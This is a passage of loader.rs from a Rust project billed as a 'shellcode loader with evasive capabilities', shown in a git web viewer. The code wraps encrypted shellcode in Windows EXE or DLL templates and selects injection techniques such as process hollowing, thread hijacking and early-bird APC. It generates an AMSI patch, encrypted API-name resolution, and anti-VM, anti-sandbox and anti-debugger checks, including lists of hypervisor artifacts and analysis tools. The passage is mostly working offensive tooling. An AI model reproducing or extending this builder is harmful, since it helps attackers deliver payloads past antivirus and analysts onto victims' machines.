myph-v2.git


myph-v2

~ rust shellcode loader with evasive capabilities
git clone https://github.com/djnnvx/myph-v2.git
log | files | refs | archive | README

loader.rs (59212B)

      1 use std::fs;
      2 use std::io;
      3 use std::path::{Path, PathBuf};
      4 use std::process::Command;
      5 
      6 use crate::cli::{BinaryFormat, EncryptionKind, Technique};
      7 use crate::encryption::{create_encryptor, derive_key_bytes};
      8 
      9 use super::templates::generate_decrypt_code;
     10 use super::templates::techniques::TechniqueGenerator;
     11 
     12 fn get_technique_generator(technique: &Technique) -> Box<dyn TechniqueGenerator> {
     13     match technique {
     14         Technique::CRT => Box::new(super::templates::techniques::CRTGenerator),
     15         Technique::CRTx => Box::new(super::templates::techniques::CRTxGenerator),
     16         Technique::EnumCalendar => Box::new(super::templates::techniques::EnumCalendarGenerator),
     17         Technique::EnumWindows => Box::new(super::templates::techniques::EnumWindowsGenerator),
     18         Technique::EnumSystemLocales => {
     19             Box::new(super::templates::techniques::EnumSystemLocalesGenerator)
     20         }
     21         Technique::ImageGetDigestStream => {
     22             Box::new(super::templates::techniques::ImageGetDigestStreamGenerator)
     23         }
     24         Technique::CreateFiber => Box::new(super::templates::techniques::CreateFiberGenerator),
     25         Technique::Etwp => Box::new(super::templates::techniques::EtwpGenerator),
     26         Technique::FairyLaw => Box::new(super::templates::techniques::FairyLawGenerator),
     27         Technique::NtCreateThreadEx => {
     28             Box::new(super::templates::techniques::NtCreateThreadExGenerator)
     29         }
     30         Technique::ProcessHollowing => {
     31             Box::new(super::templates::techniques::ProcessHollowingGenerator)
     32         }
     33         Technique::QueueUserAPC => Box::new(super::templates::techniques::QueueUserAPCGenerator),
     34         Technique::SetTimer => Box::new(super::templates::techniques::SetTimerGenerator),
     35         Technique::Syscall => Box::new(super::templates::techniques::SyscallGenerator),
     36         Technique::ModuleStomping => {
     37             Box::new(super::templates::techniques::ModuleStompingGenerator)
     38         }
     39         Technique::ThreadHijacking => {
     40             Box::new(super::templates::techniques::ThreadHijackingGenerator)
     41         }
     42         Technique::EarlyBird => Box::new(super::templates::techniques::EarlyBirdGenerator),
     43         Technique::CreateThread => panic!("CreateThread not implemented"),
     44     }
     45 }
     46 pub struct BuildConfig<'a> {
     47     pub project_name: &'a str,
     48     pub output_name: &'a str,
     49     pub original_cwd: &'a Path,
     50     pub shellcode_data: &'a [u8],
     51     pub binary_format: &'a BinaryFormat,
     52     pub encryption_kind: Option<&'a EncryptionKind>,
     53     pub encryption_key: Option<&'a str>,
     54     pub technique: &'a Technique,
     55     pub process: &'a str,
     56     pub with_api_hammering: bool,
     57     pub with_amsi_patch: bool,
     58     pub with_string_encryption: bool,
     59     pub with_dynamic_function_resolver: bool,
     60     pub with_anti_vm: bool,
     61     pub with_anti_sandbox: bool,
     62     pub with_anti_debugger: bool,
     63     pub with_callstack_spoofing: bool,
     64     pub low_resources: bool,
     65 }
     66 
     67 pub struct BuildEnv<'a> {
     68     project_name: Option<&'a str>,
     69     output_name: Option<&'a str>,
     70     original_cwd: Option<&'a Path>,
     71     shellcode_data: Option<&'a [u8]>,
     72     binary_format: Option<&'a BinaryFormat>,
     73     encryption_kind: Option<&'a EncryptionKind>,
     74     encryption_key: Option<&'a str>,
     75     technique: Option<&'a Technique>,
     76     process: Option<&'a str>,
     77     with_api_hammering: bool,
     78     with_amsi_patch: bool,
     79     with_string_encryption: bool,
     80     with_dynamic_function_resolver: bool,
     81     with_anti_vm: bool,
     82     with_anti_sandbox: bool,
     83     with_anti_debugger: bool,
     84     with_callstack_spoofing: bool,
     85     low_resources: bool,
     86 }
     87 
     88 impl<'a> BuildEnv<'a> {
     89     pub fn new() -> Self {
     90         Self {
     91             project_name: None,
     92             output_name: None,
     93             original_cwd: None,
     94             shellcode_data: None,
     95             binary_format: None,
     96             encryption_kind: None,
     97             encryption_key: None,
     98             technique: None,
     99             process: None,
    100             with_api_hammering: false,
    101             with_amsi_patch: false,
    102             with_string_encryption: false,
    103             with_dynamic_function_resolver: false,
    104             with_anti_vm: false,
    105             with_anti_sandbox: false,
    106             with_anti_debugger: false,
    107             with_callstack_spoofing: false,
    108             low_resources: false,
    109         }
    110     }
    111 
    112     pub fn with_project_name(mut self, name: &'a str) -> Self {
    113         self.project_name = Some(name);
    114         self
    115     }
    116 
    117     pub fn with_output_name(mut self, name: &'a str) -> Self {
    118         self.output_name = Some(name);
    119         self
    120     }
    121 
    122     pub fn with_original_cwd(mut self, cwd: &'a Path) -> Self {
    123         self.original_cwd = Some(cwd);
    124         self
    125     }
    126 
    127     pub fn with_shellcode(mut self, data: &'a [u8]) -> Self {
    128         self.shellcode_data = Some(data);
    129         self
    130     }
    131 
    132     pub fn with_binary_format(mut self, format: &'a BinaryFormat) -> Self {
    133         self.binary_format = Some(format);
    134         self
    135     }
    136 
    137     pub fn with_encryption(mut self, kind: &'a EncryptionKind, key: &'a str) -> Self {
    138         self.encryption_kind = Some(kind);
    139         self.encryption_key = Some(key);
    140         self
    141     }
    142 
    143     pub fn with_technique(mut self, technique: &'a Technique) -> Self {
    144         self.technique = Some(technique);
    145         self
    146     }
    147 
    148     pub fn with_process(mut self, process: &'a str) -> Self {
    149         self.process = Some(process);
    150         self
    151     }
    152 
    153     pub fn with_api_hammering(mut self, enabled: bool) -> Self {
    154         self.with_api_hammering = enabled;
    155         self
    156     }
    157 
    158     pub fn with_amsi_patch(mut self, enabled: bool) -> Self {
    159         self.with_amsi_patch = enabled;
    160         self
    161     }
    162 
    163     pub fn with_string_encryption(mut self, enabled: bool) -> Self {
    164         self.with_string_encryption = enabled;
    165         self
    166     }
    167 
    168     pub fn with_dynamic_function_resolver(mut self, enabled: bool) -> Self {
    169         self.with_dynamic_function_resolver = enabled;
    170         self
    171     }
    172 
    173     pub fn with_anti_vm(mut self, enabled: bool) -> Self {
    174         self.with_anti_vm = enabled;
    175         self
    176     }
    177 
    178     pub fn with_anti_sandbox(mut self, enabled: bool) -> Self {
    179         self.with_anti_sandbox = enabled;
    180         self
    181     }
    182 
    183     pub fn with_anti_debugger(mut self, enabled: bool) -> Self {
    184         self.with_anti_debugger = enabled;
    185         self
    186     }
    187 
    188     pub fn with_callstack_spoofing(mut self, enabled: bool) -> Self {
    189         self.with_callstack_spoofing = enabled;
    190         self
    191     }
    192 
    193     pub fn with_low_resources(mut self, enabled: bool) -> Self {
    194         self.low_resources = enabled;
    195         self
    196     }
    197 
    198     pub fn build(self) -> io::Result<PathBuf> {
    199         let project_name = self
    200             .project_name
    201             .ok_or_else(|| io::Error::other("Project name is required"))?;
    202         let output_name = self
    203             .output_name
    204             .ok_or_else(|| io::Error::other("Output name is required"))?;
    205         let original_cwd = self
    206             .original_cwd
    207             .ok_or_else(|| io::Error::other("Original working directory is required"))?;
    208         let shellcode_data = self
    209             .shellcode_data
    210             .ok_or_else(|| io::Error::other("Shellcode data is required"))?;
    211         let binary_format = self
    212             .binary_format
    213             .ok_or_else(|| io::Error::other("Binary format is required"))?;
    214         let technique = self
    215             .technique
    216             .ok_or_else(|| io::Error::other("Technique is required"))?;
    217         let process = self
    218             .process
    219             .ok_or_else(|| io::Error::other("Process is required"))?;
    220 
    221         let config = BuildConfig {
    222             project_name,
    223             output_name,
    224             original_cwd,
    225             shellcode_data,
    226             binary_format,
    227             encryption_kind: self.encryption_kind,
    228             encryption_key: self.encryption_key,
    229             technique,
    230             process,
    231             with_api_hammering: self.with_api_hammering,
    232             with_amsi_patch: self.with_amsi_patch,
    233             with_string_encryption: self.with_string_encryption,
    234             with_dynamic_function_resolver: self.with_dynamic_function_resolver,
    235             with_anti_vm: self.with_anti_vm,
    236             with_anti_sandbox: self.with_anti_sandbox,
    237             with_anti_debugger: self.with_anti_debugger,
    238             with_callstack_spoofing: self.with_callstack_spoofing,
    239             low_resources: self.low_resources,
    240         };
    241 
    242         setup_and_build_project(&config)
    243     }
    244 }
    245 
    246 impl Default for BuildEnv<'_> {
    247     fn default() -> Self {
    248         Self::new()
    249     }
    250 }
    251 
    252 pub fn init_rust_project(config: &BuildConfig) -> io::Result<()> {
    253     init_rust_project_with_target(config)
    254 }
    255 
    256 fn init_rust_project_with_target(config: &BuildConfig) -> io::Result<()> {
    257     let (encrypted_shellcode, encryption_type_str, key_bytes) = prepare_shellcode_encryption(
    258         config.shellcode_data,
    259         config.encryption_kind,
    260         config.encryption_key,
    261     )?;
    262 
    263     write_cargo_toml(
    264         config.project_name,
    265         config.binary_format,
    266         encryption_type_str,
    267         config.with_dynamic_function_resolver,
    268         config.with_callstack_spoofing,
    269         config.low_resources,
    270     )?;
    271     write_cargo_config(config.low_resources)?;
    272 
    273     fs::create_dir_all("src")?;
    274 
    275     let internals_source = generate_internals_with_crypto_and_strings(
    276         encryption_type_str,
    277         config.with_string_encryption,
    278         config.with_dynamic_function_resolver,
    279     )?;
    280     let source_code = generate_source_code(SourceCodeParams {
    281         binary_format: config.binary_format,
    282         internals_source: &internals_source,
    283         encryption: EncryptionParams {
    284             encrypted_shellcode: &encrypted_shellcode,
    285             key_bytes: &key_bytes,
    286             encryption_type: encryption_type_str,
    287         },
    288         technique_params: TechniqueParams {
    289             technique: config.technique,
    290             process: config.process,
    291         },
    292         with_api_hammering: config.with_api_hammering,
    293         with_amsi_patch: config.with_amsi_patch,
    294         with_string_encryption: config.with_string_encryption,
    295         with_dynamic_function_resolver: config.with_dynamic_function_resolver,
    296         with_anti_vm: config.with_anti_vm,
    297         with_anti_sandbox: config.with_anti_sandbox,
    298         with_anti_debugger: config.with_anti_debugger,
    299         with_callstack_spoofing: config.with_callstack_spoofing,
    300         encryption_kind: config.encryption_kind,
    301         encryption_key: config.encryption_key,
    302     })?;
    303 
    304     let file_name = match config.binary_format {
    305         BinaryFormat::Exe => "src/main.rs",
    306         BinaryFormat::Dll => "src/lib.rs",
    307         BinaryFormat::Lnk => return Ok(()), // LNK doesn't need source file
    308     };
    309 
    310     fs::write(file_name, source_code)?;
    311 
    312     Ok(())
    313 }
    314 
    315 fn prepare_shellcode_encryption(
    316     shellcode_data: &[u8],
    317     encryption_kind: Option<&EncryptionKind>,
    318     encryption_key: Option<&str>,
    319 ) -> io::Result<(Vec<u8>, &'static str, Vec<u8>)> {
    320     match (encryption_kind, encryption_key) {
    321         (Some(kind), Some(key)) => {
    322             let encryptor = create_encryptor(kind.clone(), key);
    323             let encrypted = encryptor
    324                 .encrypt(shellcode_data)
    325                 .map_err(|e| io::Error::other(format!("Encryption failed: {}", e)))?;
    326 
    327             let type_str = encryption_kind_to_string(kind);
    328             let key_data = derive_key_bytes(key, kind);
    329             Ok((encrypted, type_str, key_data))
    330         }
    331         (None, None) => Err(io::Error::other(
    332             "Encryption is required: both encryption kind and key must be provided",
    333         )),
    334         (Some(_), None) => Err(io::Error::other(
    335             "Encryption key is missing: both encryption kind and key must be provided together",
    336         )),
    337         (None, Some(_)) => Err(io::Error::other(
    338             "Encryption kind is missing: both encryption kind and key must be provided together",
    339         )),
    340     }
    341 }
    342 
    343 fn encryption_kind_to_string(kind: &EncryptionKind) -> &'static str {
    344     match kind {
    345         EncryptionKind::AES => "aes",
    346         EncryptionKind::AES256 => "aes256",
    347         EncryptionKind::Chacha20 => "chacha20",
    348         EncryptionKind::XOR => "xor",
    349         EncryptionKind::Blowfish => "blowfish",
    350         EncryptionKind::Twofish => "twofish",
    351         EncryptionKind::Camellia => "camellia",
    352     }
    353 }
    354 
    355 fn write_cargo_toml(
    356     project_name: &str,
    357     binary_format: &BinaryFormat,
    358     encryption_type: &str,
    359     with_dynamic_resolver: bool,
    360     with_callstack_spoofing: bool,
    361     low_resources: bool,
    362 ) -> io::Result<()> {
    363     use super::templates::{BuildProfile, CargoConfigGenerator, DllGenerator, ExeGenerator};
    364 
    365     let dependencies = super::dependencies::get_dependencies(
    366         encryption_type,
    367         with_dynamic_resolver,
    368         with_callstack_spoofing,
    369     )
    370     .map_err(io::Error::other)?;
    371 
    372     let profile = if low_resources {
    373         BuildProfile::LowResource
    374     } else {
    375         BuildProfile::Standard
    376     };
    377 
    378     let cargo_toml = match binary_format {
    379         BinaryFormat::Exe => {
    380             ExeGenerator::new(profile).generate_cargo_toml(project_name, &dependencies)
    381         }
    382         BinaryFormat::Dll => {
    383             DllGenerator::new(profile).generate_cargo_toml(project_name, &dependencies)
    384         }
    385         BinaryFormat::Lnk => return Ok(()),
    386     };
    387     fs::write("Cargo.toml", cargo_toml)
    388 }
    389 
    390 fn write_cargo_config(low_resources: bool) -> io::Result<()> {
    391     use super::templates::{BuildProfile, CargoConfigGenerator, ExeGenerator};
    392 
    393     fs::create_dir_all(".cargo")?;
    394 
    395     let profile = if low_resources {
    396         BuildProfile::LowResource
    397     } else {
    398         BuildProfile::Standard
    399     };
    400 
    401     let cargo_config = ExeGenerator::new(profile).generate_cargo_config();
    402     fs::write(".cargo/config.toml", cargo_config)
    403 }
    404 
    405 fn generate_internals_with_crypto_and_strings(
    406     encryption_type: &str,
    407     with_string_encryption: bool,
    408     with_dynamic_resolver: bool,
    409 ) -> io::Result<String> {
    410     super::templates::generate_internals_with_api_resolver(
    411         encryption_type,
    412         with_string_encryption,
    413         with_dynamic_resolver,
    414     )
    415     .map_err(io::Error::other)
    416 }
    417 
    418 struct EncryptionParams<'a> {
    419     encrypted_shellcode: &'a [u8],
    420     key_bytes: &'a [u8],
    421     encryption_type: &'a str,
    422 }
    423 
    424 struct TechniqueParams<'a> {
    425     technique: &'a Technique,
    426     process: &'a str,
    427 }
    428 
    429 struct SourceCodeParams<'a> {
    430     binary_format: &'a BinaryFormat,
    431     internals_source: &'a str,
    432     encryption: EncryptionParams<'a>,
    433     technique_params: TechniqueParams<'a>,
    434     with_api_hammering: bool,
    435     with_amsi_patch: bool,
    436     with_string_encryption: bool,
    437     with_dynamic_function_resolver: bool,
    438     with_anti_vm: bool,
    439     with_anti_sandbox: bool,
    440     with_anti_debugger: bool,
    441     with_callstack_spoofing: bool,
    442     encryption_kind: Option<&'a EncryptionKind>,
    443     encryption_key: Option<&'a str>,
    444 }
    445 
    446 fn create_string_obfuscator<'a>(
    447     params: &'a SourceCodeParams,
    448 ) -> io::Result<Box<dyn super::templates::StringObfuscation + 'a>> {
    449     if !params.with_string_encryption {
    450         return Ok(Box::new(super::templates::NoObfuscation));
    451     }
    452 
    453     // Note: This is a placeholder for future string encryption needs (e.g., API names)
    454     // Currently no strings are encrypted in the template, but the infrastructure is ready
    455     Ok(Box::new(super::templates::NoObfuscation))
    456 }
    457 
    458 fn generate_amsi_patch_with_encryption(
    459     encryption_kind: &EncryptionKind,
    460     encryption_key: &str,
    461     encryption_type: &str,
    462     with_string_encryption: bool,
    463     with_dynamic_function_resolver: bool,
    464 ) -> io::Result<String> {
    465     if !with_string_encryption && !with_dynamic_function_resolver {
    466         return Ok(super::templates::generate_amsi_patch_code());
    467     }
    468 
    469     let amsi_dll_str = "amsi.dll";
    470     let amsi_scan_buffer_str = "AmsiScanBuffer";
    471 
    472     let key = encryption_key;
    473     let encryptor = create_encryptor(encryption_kind.clone(), key);
    474 
    475     let encrypted_dll = encryptor
    476         .encrypt(amsi_dll_str.as_bytes())
    477         .map_err(|e| io::Error::other(format!("Failed to encrypt DLL name: {}", e)))?;
    478     let encrypted_func = encryptor
    479         .encrypt(amsi_scan_buffer_str.as_bytes())
    480         .map_err(|e| io::Error::other(format!("Failed to encrypt function name: {}", e)))?;
    481 
    482     let key_bytes = derive_key_bytes(key, encryption_kind);
    483 
    484     let dll_array = format_bytes_as_array(&encrypted_dll);
    485     let func_array = format_bytes_as_array(&encrypted_func);
    486     let key_array = format_bytes_as_array(&key_bytes);
    487 
    488     let decrypt_fn = match encryption_type {
    489         "xor" => "internals::decrypt_xor",
    490         "aes" => "internals::decrypt_aes",
    491         "chacha20" => "internals::decrypt_chacha20",
    492         "blowfish" => "internals::decrypt_blowfish",
    493         _ => {
    494             return Err(io::Error::other(format!(
    495                 "Unknown encryption type: {}",
    496                 encryption_type
    497             )))
    498         }
    499     };
    500 
    501     let expect_clause = if encryption_type == "xor" {
    502         ""
    503     } else {
    504         ".expect(\"Failed to decrypt AMSI strings\")"
    505     };
    506 
    507     if with_dynamic_function_resolver {
    508         // Encrypt the DLL and function names
    509         let load_library_dll_encrypted = encryptor
    510             .encrypt("kernel32.dll".as_bytes())
    511             .map_err(|e| io::Error::other(format!("Failed to encrypt DLL name: {}", e)))?;
    512         let load_library_fn_encrypted = encryptor
    513             .encrypt("LoadLibraryA".as_bytes())
    514             .map_err(|e| io::Error::other(format!("Failed to encrypt function name: {}", e)))?;
    515 
    516         let get_proc_address_dll_encrypted = encryptor
    517             .encrypt("kernel32.dll".as_bytes())
    518             .map_err(|e| io::Error::other(format!("Failed to encrypt DLL name: {}", e)))?;
    519         let get_proc_address_fn_encrypted = encryptor
    520             .encrypt("GetProcAddress".as_bytes())
    521             .map_err(|e| io::Error::other(format!("Failed to encrypt function name: {}", e)))?;
    522 
    523         let virtual_protect_dll_encrypted = encryptor
    524             .encrypt("kernel32.dll".as_bytes())
    525             .map_err(|e| io::Error::other(format!("Failed to encrypt DLL name: {}", e)))?;
    526         let virtual_protect_fn_encrypted = encryptor
    527             .encrypt("VirtualProtect".as_bytes())
    528             .map_err(|e| io::Error::other(format!("Failed to encrypt function name: {}", e)))?;
    529 
    530         let load_library_resolver = super::templates::generate_dynamic_function_resolver(
    531             "kernel32.dll",
    532             "LoadLibraryA",
    533             encryption_type,
    534             "load_library_a",
    535             "DECRYPTION_KEY",
    536             &load_library_dll_encrypted,
    537             &load_library_fn_encrypted,
    538         )
    539         .map_err(io::Error::other)?;
    540 
    541         let get_proc_address_resolver = super::templates::generate_dynamic_function_resolver(
    542             "kernel32.dll",
    543             "GetProcAddress",
    544             encryption_type,
    545             "get_proc_address",
    546             "DECRYPTION_KEY",
    547             &get_proc_address_dll_encrypted,
    548             &get_proc_address_fn_encrypted,
    549         )
    550         .map_err(io::Error::other)?;
    551 
    552         let virtual_protect_resolver = super::templates::generate_dynamic_function_resolver(
    553             "kernel32.dll",
    554             "VirtualProtect",
    555             encryption_type,
    556             "virtual_protect",
    557             "DECRYPTION_KEY",
    558             &virtual_protect_dll_encrypted,
    559             &virtual_protect_fn_encrypted,
    560         )
    561         .map_err(io::Error::other)?;
    562 
    563         let load_library_cast = super::templates::generate_function_type_and_cast(
    564             "load_library_a",
    565             "unsafe extern \"system\" fn(*const u8) -> *mut std::ffi::c_void",
    566         );
    567 
    568         let get_proc_address_cast = super::templates::generate_function_type_and_cast(
    569             "get_proc_address",
    570             "unsafe extern \"system\" fn(*mut std::ffi::c_void, *const u8) -> *mut std::ffi::c_void"
    571         );
    572 
    573         let virtual_protect_cast = super::templates::generate_function_type_and_cast(
    574             "virtual_protect",
    575             "unsafe extern \"system\" fn(*mut std::ffi::c_void, usize, u32, *mut u32) -> i32",
    576         );
    577 
    578         let dll_resolver = format!(
    579             r#"const ENCRYPTED_AMSI_DLL: &[u8] = &{};
    580         let amsi_dll_decrypted = {}(ENCRYPTED_AMSI_DLL, &DECRYPTION_KEY){};"#,
    581             dll_array, decrypt_fn, expect_clause
    582         );
    583 
    584         let func_resolver = format!(
    585             r#"const ENCRYPTED_AMSI_FUNC: &[u8] = &{};
    586         let amsi_func_decrypted = {}(ENCRYPTED_AMSI_FUNC, &DECRYPTION_KEY){};"#,
    587             func_array, decrypt_fn, expect_clause
    588         );
    589 
    590         Ok(
    591             super::templates::generate_amsi_patch_code_with_dynamic_resolver(
    592                 super::templates::AmsiDynamicResolverParams {
    593                     dll_resolver: &dll_resolver,
    594                     func_resolver: &func_resolver,
    595                     load_library_resolver: &load_library_resolver,
    596                     load_library_cast: &load_library_cast,
    597                     get_proc_address_resolver: &get_proc_address_resolver,
    598                     get_proc_address_cast: &get_proc_address_cast,
    599                     virtual_protect_resolver: &virtual_protect_resolver,
    600                     virtual_protect_cast: &virtual_protect_cast,
    601                 },
    602             ),
    603         )
    604     } else {
    605         Ok(
    606             super::templates::generate_amsi_patch_code_with_string_encryption(
    607                 &dll_array,
    608                 &func_array,
    609                 &key_array,
    610                 decrypt_fn,
    611                 expect_clause,
    612             ),
    613         )
    614     }
    615 }
    616 
    617 fn encrypt_string_for_evasion(
    618     s: &str,
    619     encryptor: &dyn crate::encryption::Encryptor,
    620 ) -> io::Result<String> {
    621     let encrypted = encryptor
    622         .encrypt(s.as_bytes())
    623         .map_err(|e| io::Error::other(format!("Failed to encrypt string: {}", e)))?;
    624     Ok(format_bytes_as_array(&encrypted))
    625 }
    626 
    627 const SANDBOX_CHECK_PATH: &str = "C:\\Windows\\System32";
    628 
    629 fn generate_evasion_code_with_encryption(
    630     params: &SourceCodeParams,
    631     encryptor: &dyn crate::encryption::Encryptor,
    632 ) -> io::Result<String> {
    633     let mut evasion_code = String::new();
    634     evasion_code.push_str(&crate::evasion::generate_evasion_externs());
    635 
    636     let decrypt_fn = super::templates::get_decrypt_function(params.encryption.encryption_type)
    637         .map_err(io::Error::other)?;
    638     let expect_clause = super::templates::get_expect_clause(params.encryption.encryption_type);
    639 
    640     if params.with_anti_vm {
    641         let vm_dlls = [
    642             "vmGuestLib.dll\0",
    643             "vboxmrxnp.dll\0",
    644             "VBoxHook.dll\0",
    645             "vmmouse.sys\0",
    646             "vmhgfs.dll\0",
    647         ];
    648         let vm_dll_arrays: Vec<String> = vm_dlls
    649             .iter()
    650             .map(|s| encrypt_string_for_evasion(s, encryptor))
    651             .collect::<Result<Vec<_>, _>>()?;
    652 
    653         let vm_registry_keys = [
    654             r"HKLM\SYSTEM\ControlSet001\Services\VBoxGuest",
    655             r"HKLM\SYSTEM\ControlSet001\Services\VBoxMouse",
    656             r"HKLM\SYSTEM\ControlSet001\Services\VBoxService",
    657             r"HKLM\SYSTEM\ControlSet001\Services\vmtools",
    658             r"HKLM\SYSTEM\ControlSet001\Services\vmmouse",
    659             r"HKLM\HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0",
    660         ];
    661         let vm_registry_arrays: Vec<String> = vm_registry_keys
    662             .iter()
    663             .map(|s| encrypt_string_for_evasion(s, encryptor))
    664             .collect::<Result<Vec<_>, _>>()?;
    665 
    666         let vm_processes = [
    667             "vmtoolsd.exe",
    668             "vmwaretray.exe",
    669             "vmwareuser.exe",
    670             "VGAuthService.exe",
    671             "vmacthlp.exe",
    672             "vboxservice.exe",
    673             "vboxtray.exe",
    674             "xenservice.exe",
    675             "qemu-ga.exe",
    676         ];
    677         let vm_process_arrays: Vec<String> = vm_processes
    678             .iter()
    679             .map(|s| encrypt_string_for_evasion(s, encryptor))
    680             .collect::<Result<Vec<_>, _>>()?;
    681 
    682         let vm_vendors = ["vmware", "virtualbox", "qemu", "xen", "hyper-v"];
    683         let vm_vendor_arrays: Vec<String> = vm_vendors
    684             .iter()
    685             .map(|s| encrypt_string_for_evasion(s, encryptor))
    686             .collect::<Result<Vec<_>, _>>()?;
    687 
    688         evasion_code.push_str(&crate::evasion::anti_vm_checks_with_encryption(
    689             &vm_dll_arrays,
    690             &vm_registry_arrays,
    691             &vm_process_arrays,
    692             &vm_vendor_arrays,
    693             decrypt_fn,
    694             expect_clause,
    695         ));
    696     }
    697 
    698     if params.with_anti_sandbox {
    699         let file_path_array = encrypt_string_for_evasion(SANDBOX_CHECK_PATH, encryptor)?;
    700         evasion_code.push_str(&crate::evasion::anti_sandbox_checks_with_encryption(
    701             &file_path_array,
    702             decrypt_fn,
    703             expect_clause,
    704         ));
    705     }
    706 
    707     if params.with_anti_debugger {
    708         let debugger_parents = [
    709             "devenv.exe",
    710             "windbg.exe",
    711             "x64dbg.exe",
    712             "ollydbg.exe",
    713             "ida64.exe",
    714         ];
    715         let debugger_parent_arrays: Vec<String> = debugger_parents
    716             .iter()
    717             .map(|s| encrypt_string_for_evasion(s, encryptor))
    718             .collect::<Result<Vec<_>, _>>()?;
    719 
    720         evasion_code.push_str(&crate::evasion::anti_debugger_checks_with_encryption(
    721             &debugger_parent_arrays,
    722             decrypt_fn,
    723             expect_clause,
    724         ));
    725     }
    726 
    727     Ok(evasion_code)
    728 }
    729 
    730 fn generate_source_code(params: SourceCodeParams) -> io::Result<String> {
    731     let shellcode_array = format_bytes_as_array(params.encryption.encrypted_shellcode);
    732     let key_array = if !params.encryption.key_bytes.is_empty() {
    733         format_bytes_as_array(params.encryption.key_bytes)
    734     } else {
    735         "[]".to_string()
    736     };
    737     let decrypt_code = generate_decrypt_code(params.encryption.encryption_type);
    738 
    739     let function_name = super::templates::generate_random_function_name();
    740 
    741     let generator = get_technique_generator(params.technique_params.technique);
    742 
    743     let technique_code = if params.with_dynamic_function_resolver {
    744         if let (Some(encryption_kind), Some(encryption_key)) =
    745             (params.encryption_kind, params.encryption_key)
    746         {
    747             let encryptor = create_encryptor(encryption_kind.clone(), encryption_key);
    748             generator.generate_code_with_dynamic_resolver(
    749                 params.technique_params.process,
    750                 &function_name,
    751                 params.encryption.encryption_type,
    752                 encryptor.as_ref(),
    753             )
    754         } else {
    755             return Err(io::Error::other(
    756                 "Encryption kind and key required for dynamic function resolver",
    757             ));
    758         }
    759     } else if params.with_api_hammering {
    760         generator.generate_code_with_hammering(params.technique_params.process, &function_name)
    761     } else {
    762         generator.generate_code(params.technique_params.process, &function_name)
    763     };
    764 
    765     let technique_code = generator.add_debug_context(technique_code);
    766 
    767     if let Err(errors) = generator.validate_generated_code(&technique_code) {
    768         let error_messages: Vec<String> = errors.iter().map(|e| e.to_string()).collect();
    769         return Err(io::Error::other(format!(
    770             "Generated code validation failed for technique '{}': {}",
    771             generator.name(),
    772             error_messages.join("; ")
    773         )));
    774     }
    775 
    776     let string_obfuscator = create_string_obfuscator(&params)?;
    777 
    778     let amsi_patch_code = if params.with_amsi_patch {
    779         if let (Some(encryption_kind), Some(encryption_key)) =
    780             (params.encryption_kind, params.encryption_key)
    781         {
    782             generate_amsi_patch_with_encryption(
    783                 encryption_kind,
    784                 encryption_key,
    785                 params.encryption.encryption_type,
    786                 params.with_string_encryption,
    787                 params.with_dynamic_function_resolver,
    788             )?
    789         } else {
    790             super::templates::generate_amsi_patch_code()
    791         }
    792     } else {
    793         String::new()
    794     };
    795 
    796     let evasion_code =
    797         if params.with_anti_vm || params.with_anti_sandbox || params.with_anti_debugger {
    798             if params.with_string_encryption {
    799                 if let (Some(encryption_kind), Some(encryption_key)) =
    800                     (params.encryption_kind, params.encryption_key)
    801                 {
    802                     let encryptor = create_encryptor(encryption_kind.clone(), encryption_key);
    803                     generate_evasion_code_with_encryption(&params, encryptor.as_ref())?
    804                 } else {
    805                     return Err(io::Error::other(
    806                         "Encryption kind and key required for evasion string encryption",
    807                     ));
    808                 }
    809             } else {
    810                 let mut code = String::new();
    811                 code.push_str(&crate::evasion::generate_evasion_externs());
    812                 if params.with_anti_vm {
    813                     code.push_str(&crate::evasion::anti_vm_checks());
    814                 }
    815                 if params.with_anti_sandbox {
    816                     code.push_str(&crate::evasion::anti_sandbox_checks());
    817                 }
    818                 if params.with_anti_debugger {
    819                     code.push_str(&crate::evasion::anti_debugger_checks());
    820                 }
    821                 code
    822             }
    823         } else {
    824             String::new()
    825         };
    826 
    827     let template_config = super::templates::TemplateConfig::builder()
    828         .internals_source(params.internals_source)
    829         .shellcode_array(&shellcode_array)
    830         .key_array(&key_array)
    831         .decrypt_code(&decrypt_code)
    832         .technique_code(&technique_code)
    833         .technique_function_name(&function_name)
    834         .with_api_hammering(params.with_api_hammering)
    835         .with_amsi_patch(params.with_amsi_patch)
    836         .with_string_encryption(params.with_string_encryption)
    837         .with_dynamic_function_resolver(params.with_dynamic_function_resolver)
    838         .with_anti_vm(params.with_anti_vm)
    839         .with_anti_sandbox(params.with_anti_sandbox)
    840         .with_anti_debugger(params.with_anti_debugger)
    841         .with_callstack_spoofing(params.with_callstack_spoofing)
    842         .encryption_type(params.encryption.encryption_type)
    843         .amsi_patch_code(&amsi_patch_code)
    844         .evasion_code(&evasion_code)
    845         .string_obfuscator(string_obfuscator)
    846         .build();
    847 
    848     Ok(match params.binary_format {
    849         BinaryFormat::Exe => super::templates::generate_exe_main_template(&template_config),
    850         BinaryFormat::Dll => super::templates::generate_dll_lib_template(&template_config),
    851         BinaryFormat::Lnk => String::new(), // LNK doesn't need source code
    852     })
    853 }
    854 
    855 fn format_bytes_as_array(bytes: &[u8]) -> String {
    856     if bytes.is_empty() {
    857         return "[]".to_string();
    858     }
    859 
    860     use std::fmt::Write;
    861     let mut result = String::with_capacity(bytes.len() * 6 + 2);
    862     result.push('[');
    863 
    864     for (i, byte) in bytes.iter().enumerate() {
    865         if i > 0 {
    866             result.push_str(", ");
    867         }
    868         write!(result, "0x{:02x}", byte).unwrap();
    869     }
    870 
    871     result.push(']');
    872     result
    873 }
    874 
    875 /// Verify that a binary was built successfully
    876 ///
    877 /// Uses the goblin crate to parse and verify the binary format.
    878 /// With Cargo's profile.release.strip = true, binaries are automatically
    879 /// stripped during compilation, so no post-processing is needed.
    880 ///
    881 /// Works cross-platform (Linux/ELF, macOS/Mach-O, Windows/PE).
    882 ///
    883 /// # Arguments
    884 ///
    885 /// * `binary_path` - Path to the binary to verify
    886 ///
    887 /// Returns `Ok(())` if the binary is valid, otherwise returns an error.
    888 pub fn verify_binary(binary_path: &Path) -> io::Result<()> {
    889     let binary_data = fs::read(binary_path)?;
    890 
    891     goblin::Object::parse(&binary_data)
    892         .map_err(|e| io::Error::other(format!("Failed to parse binary: {}", e)))?;
    893 
    894     Ok(())
    895 }
    896 
    897 /// Build the Rust project in release mode
    898 ///
    899 /// Executes `cargo build --release` in the current directory.
    900 /// The compiled binary will be in `target/release/`.
    901 ///
    902 /// # Arguments
    903 ///
    904 /// * `project_name` - The name of the project (used to find the binary)
